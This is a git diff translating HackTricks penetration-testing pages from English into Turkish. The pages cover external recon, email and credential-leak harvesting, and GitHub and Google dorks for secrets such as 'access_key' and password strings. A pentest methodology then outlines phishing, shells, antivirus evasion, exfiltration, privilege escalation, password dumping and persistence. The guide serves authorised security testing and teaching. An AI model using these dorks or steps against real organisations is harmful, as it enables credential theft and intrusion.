[**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısınız**. -### **Looking for vulnerabilities** +### **Zayıf Noktaları Arama** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +**Açık kova veya bulut işlevleri** gibi şeyler bulursanız, **onlara erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz. -## Emails +## E-postalar -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için ihtiyaç duyduğunuz her şeye sahipsiniz**. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: -- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -- API of [**https://hunter.io/**](https://hunter.io/) (free version) -- API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -- API of [**https://minelead.io/**](https://minelead.io/) (free version) +- [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle +- [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm) +- [**https://app.snov.io/**](https://app.snov.io/) API'si (ücretsiz sürüm) +- [**https://minelead.io/**](https://minelead.io/) API'si (ücretsiz sürüm) -### **Looking for vulnerabilities** +### **Zayıf Noktaları Arama** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +E-postalar, **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **brute-force** yapmak için daha sonra işe yarayacaktır. Ayrıca, **phishing** için de gereklidirler. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır. -## Credential Leaks +## Kimlik Bilgisi Sızıntıları -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +**Alan adları**, **alt alan adları** ve **e-postalar** ile, bu e-postalara ait geçmişte sızdırılan kimlik bilgilerini aramaya başlayabilirsiniz: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **Zayıf Noktaları Arama** -If you find **valid leaked** credentials, this is a very easy win. +**Geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazançtır. -## Secrets Leaks +## Gizli Bilgi Sızıntıları -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir: -### Github Leaks +### Github Sızıntıları -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık kaynaklı depolarında** sızdırılabilir.\ +**Leakos** adlı aracı kullanarak bir **organizasyonun** ve onun **geliştiricilerinin** tüm **açık reposunu** **indirmek** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **sağlanan URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir. #### Github Dorks -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +Ayrıca, saldırdığınız organizasyonda arayabileceğiniz potansiyel **github dorks** için bu **sayfayı** kontrol edin: {{#ref}} github-leaked-secrets.md {{#endref}} -### Pastes Leaks +### Paste Sızıntıları -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\ +Birden fazla paste sitesinde aynı anda arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz. ### Google Dorks -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. +Eski ama altın değerinde google dorks, **orada olmaması gereken açık bilgileri bulmak için** her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in, manuel olarak çalıştıramayacağınız birkaç **bin** olası sorgu içermesidir. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz. -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +_Not edin ki, tüm veritabanını normal Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._ -### **Looking for vulnerabilities** +### **Zayıf Noktaları Arama** -If you find **valid leaked** credentials or API tokens, this is a very easy win. +**Geçerli sızdırılmış** kimlik bilgileri veya API token'ları bulursanız, bu çok kolay bir kazançtır. -## Public Code Vulnerabilities +## Kamu Kod Zayıflıkları -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. +Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edebilir** ve üzerinde **zayıf noktalar** arayabilirsiniz. -**Depending on the language** there are different **tools** you can use: +**Dile bağlı olarak**, kullanabileceğiniz farklı **araçlar** vardır: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -There are also free services that allow you to **scan public repositories**, such as: +Ayrıca, **açık kaynaklı depoları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır: - [**Snyk**](https://app.snyk.io/) -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) +## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/) -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +**Hata avcıları tarafından bulunan zayıf noktaların** çoğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/). -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.** -## Recapitulation +## Tekrar -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +> Tebrikler! Bu noktada **tüm temel sayım** işlemlerini gerçekleştirdiniz. Evet, bu temel çünkü daha fazla sayım yapılabilir (daha fazla hile göreceğiz). -So you have already: +Artık şunları buldunuz: -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +1. Kapsamdaki **tüm şirketleri** buldunuz +2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsamda ise bazı zayıflık taramaları gerçekleştirdiniz) +3. Şirketlere ait **tüm alan adlarını** buldunuz +4. Alan adlarının **tüm alt alan adlarını** buldunuz (herhangi bir alt alan ele geçirme?) +5. Kapsamdaki **tüm IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz. +6. **Tüm web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?) +7. Şirkete ait **potansiyel kamu bulut varlıklarını** buldunuz. +8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir. +9. Bulduğunuz **tüm web sitelerini pentest ettiniz** -## **Full Recon Automatic Tools** +## **Tam Recon Otomatik Araçlar** -There are several tools out there that will perform part of the proposed actions against a given scope. +Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birkaç araç bulunmaktadır. - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Biraz eski ve güncellenmemiş -## **References** +## **Referanslar** -- All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) +- [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) gibi -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 53e1f35e6..4a9862793 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,18 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +Artık kapsamımızdaki varlıkların listesini oluşturduğumuza göre, bazı OSINT düşük-hanging meyvelerini arama zamanı. -{% embed url="https://go.intigriti.com/hacktricks" %} - -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. - -### Platforms that already searched for leaks +### Zaten sızıntıları arayan platformlar - [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Api keys leaks in github +### Github'daki api anahtarları sızıntıları - [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) - [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -28,7 +23,6 @@ Now that we have built the list of assets of our scope it's time to search for s - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -310,5 +304,4 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 55186e1f3..030fb7c32 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,18 +1,18 @@ -# Wide Source Code Search +# Geniş Kaynak Kodu Arama {{#include ../../banners/hacktricks-training.md}} -The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +Bu sayfanın amacı, bir veya daha fazla platformda binlerce/milyonlarca repoda **kod aramaya izin veren platformları** listelemektir (literal veya regex). -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +Bu, **sızdırılmış bilgileri** veya **zafiyet** kalıplarını aramak için çeşitli durumlarda yardımcı olur. -- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -- [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - - Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes. -- [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +- [**SourceGraph**](https://sourcegraph.com/search): Milyonlarca repoda arama yapın. Ücretsiz bir sürümü ve 15 gün ücretsiz olan bir kurumsal sürümü vardır. Regex destekler. +- [**Github Search**](https://github.com/search): Github üzerinde arama yapın. Regex destekler. +- Belki de [**Github Code Search**](https://cs.github.com/) kontrol etmek de faydalı olabilir. +- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Gitlab projeleri arasında arama yapın. Regex destekler. +- [**SearchCode**](https://searchcode.com/): Milyonlarca projede kod arayın. > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Bir repoda sızıntılar ararken ve `git log -p` gibi bir şey çalıştırırken, **diğer gizli bilgileri içeren diğer commit'lerin bulunduğu diğer dallar** olabileceğini unutmayın! {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index ea6b7f6a7..358a479e0 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,146 +1,136 @@ -# Pentesting Methodology +# Pentesting Metodolojisi {{#include ../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Pentesting Methodology +## Pentesting Metodolojisi
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks logoları_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından tasarlanmıştır._ -### 0- Physical Attacks +### 0- Fiziksel Saldırılar -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) and others about [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). +Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel saldırılar hakkında bazı ipuçlarını** [**okumalısınız**](../hardware-physical-access/physical-attacks.md) ve **GUI uygulamalarından kaçış** hakkında diğerlerini [**okumalısınız**](../hardware-physical-access/escaping-from-gui-applications.md). -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [Ağ içindeki hostları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**Yaptığınız** **testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin internetteki varlıklarını bulmak** (dışsal test) isteyebilirsiniz. > [!NOTE] -> Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +> Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan sonra bu kılavuzu yeniden başlatmalısınız. -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**Ağ ile Eğlenme**](pentesting-network/) **(İçsel)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**Bu bölüm yalnızca içsel bir test yapıyorsanız geçerlidir.**\ +Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak ne bulabileceğinizi öğrenirsiniz. [**Pentesting Ağı**](pentesting-network/#sniffing) okuyabilirsiniz. -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlar**](pentesting-network/#scanning-hosts) bakalım. -### **4-** [Searching service version exploits](../generic-hacking/search-exploits.md) +### **4-** [Servis versiyon açıklarını arama](../generic-hacking/search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +Hangi servislerin çalıştığını ve belki de versiyonlarını öğrendikten sonra, **bilinen zafiyetleri aramalısınız**. Belki şansınız yaver gider ve size bir shell verecek bir exploit bulursunuz... -### **5-** Pentesting Services +### **5-** Pentesting Servisleri -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +Eğer çalışan herhangi bir servis için şık bir exploit yoksa, her çalışan serviste **yaygın yapılandırma hatalarını** aramalısınız. -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**Bu kitapta en yaygın servisleri pentest etmek için bir kılavuz bulacaksınız** (ve o kadar yaygın olmayan diğerlerini de). Lütfen, sol dizinde **_PENTESTING_** bölümünü arayın (servisler varsayılan portlarına göre sıralanmıştır). -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](../generic-hacking/search-exploits.md) can be found here. +**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\ +Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](../generic-hacking/search-exploits.md) hakkında küçük bir kılavuz burada bulunabilir. -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**Eğer servisinizi dizinde bulamazsanız, Google'da** diğer eğitimler için arama yapın ve **eklememi isterseniz bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa). -#### 5.1 Automatic Tools +#### 5.1 Otomatik Araçlar -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +Ayrıca **otomatik zafiyet değerlendirmeleri** yapabilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.** -#### **5.2 Brute-Forcing services** +#### **5.2 Brute-Force ile servisleri kırma** -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](../generic-hacking/brute-force.md)**.** +Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet'ini buradan bulabilirsiniz**](../generic-hacking/brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +Bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için **bazı phishing denemeleri yapmanız** gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/) okuyabilirsiniz: -### **7-** [**Getting Shell**](../generic-hacking/reverse-shells/) +### **7-** [**Shell Elde Etme**](../generic-hacking/reverse-shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](../generic-hacking/reverse-shells/). +Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [**ters shell almak için sistem içindeki olası araçların bir listesinin çok faydalı olacağını**](../generic-hacking/reverse-shells/) belirtmek gerekir. -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +Özellikle Windows'ta **antivirüslerden kaçınmak için** biraz yardıma ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\ -### 8- Inside +### 8- İçeride -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların küçük bir **derlemesini** burada bulabilirsiniz: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) +### **9 -** [**Veri Sızdırma**](../generic-hacking/exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](../generic-hacking/exfiltration.md)**.** +Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** gerekecek (örneğin, ayrıcalık yükseltme betikleri). **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](../generic-hacking/exfiltration.md)**.** -### **10- Privilege Escalation** +### **10- Ayrıcalık Yükseltme** -#### **10.1- Local Privesc** +#### **10.1- Yerel Privesc** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +Eğer kutu içinde **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\ +Burada **Linux'ta yerel ayrıcalıkları yükseltmek için bir kılavuz** [**bulabilirsiniz**](../linux-hardening/privilege-escalation/) **ve** [**Windows'ta**](../windows-hardening/windows-local-privilege-escalation/)**.**\ +Ayrıca **Windows'un nasıl çalıştığına dair bu sayfaları kontrol etmelisiniz**: -- [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- How does [**NTLM works**](../windows-hardening/ntlm/) -- How to [**steal credentials**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows -- Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +- [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) +- [**NTLM nasıl çalışır**](../windows-hardening/ntlm/) +- Windows'ta [**kimlik bilgilerini çalma**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) +- [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listelemek için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +#### **10.2- Alan Privesc** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz**](../windows-hardening/active-directory-methodology/). Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir. ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - Yağmalama -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). +Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla diğer makinelere erişiminiz olup olmadığını** kontrol edin.\ +Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) için farklı yollar bulabilirsiniz. -#### 11.2 - Persistence +#### 11.2 - Kalıcılık -**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Sistemi tekrar istismar etmenize gerek kalmaması için 2 veya 3 farklı kalıcılık mekanizması kullanın.**\ +**Burada bazı** [**active directory'de kalıcılık ipuçları**](../windows-hardening/active-directory-methodology/#persistence)** bulabilirsiniz.** -TODO: Complete persistence Post in Windows & Linux +TODO: Windows & Linux'ta kalıcılık Post'unu tamamla ### 12 - Pivoting -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmeniz ve taramanız** (Pentesting Metodolojisini yeniden başlatın) gerekebilir, kurbanınızın bağlı olduğu yeni ağlar içinde.\ +Bu durumda tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](../generic-hacking/tunneling-and-port-forwarding.md).\ +Ayrıca [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı kontrol etmelisiniz. Orada yanlara hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme hakkında harika ipuçları bulacaksınız.\ +Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivot yapmak için çok faydalı olabilir. -### MORE +### DAHA FAZLA -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) +#### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/) -#### **Exploiting** +#### **Sömürü** -- [**Basic Linux Exploiting**](broken-reference/) -- [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Basic exploiting tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**Temel Linux Sömürüsü**](broken-reference/) +- [**Temel Windows Sömürüsü**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**Temel sömürü araçları**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) -#### [**Basic Python**](python/) +#### [**Temel Python**](python/) -#### **Crypto tricks** +#### **Kripto ipuçları** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
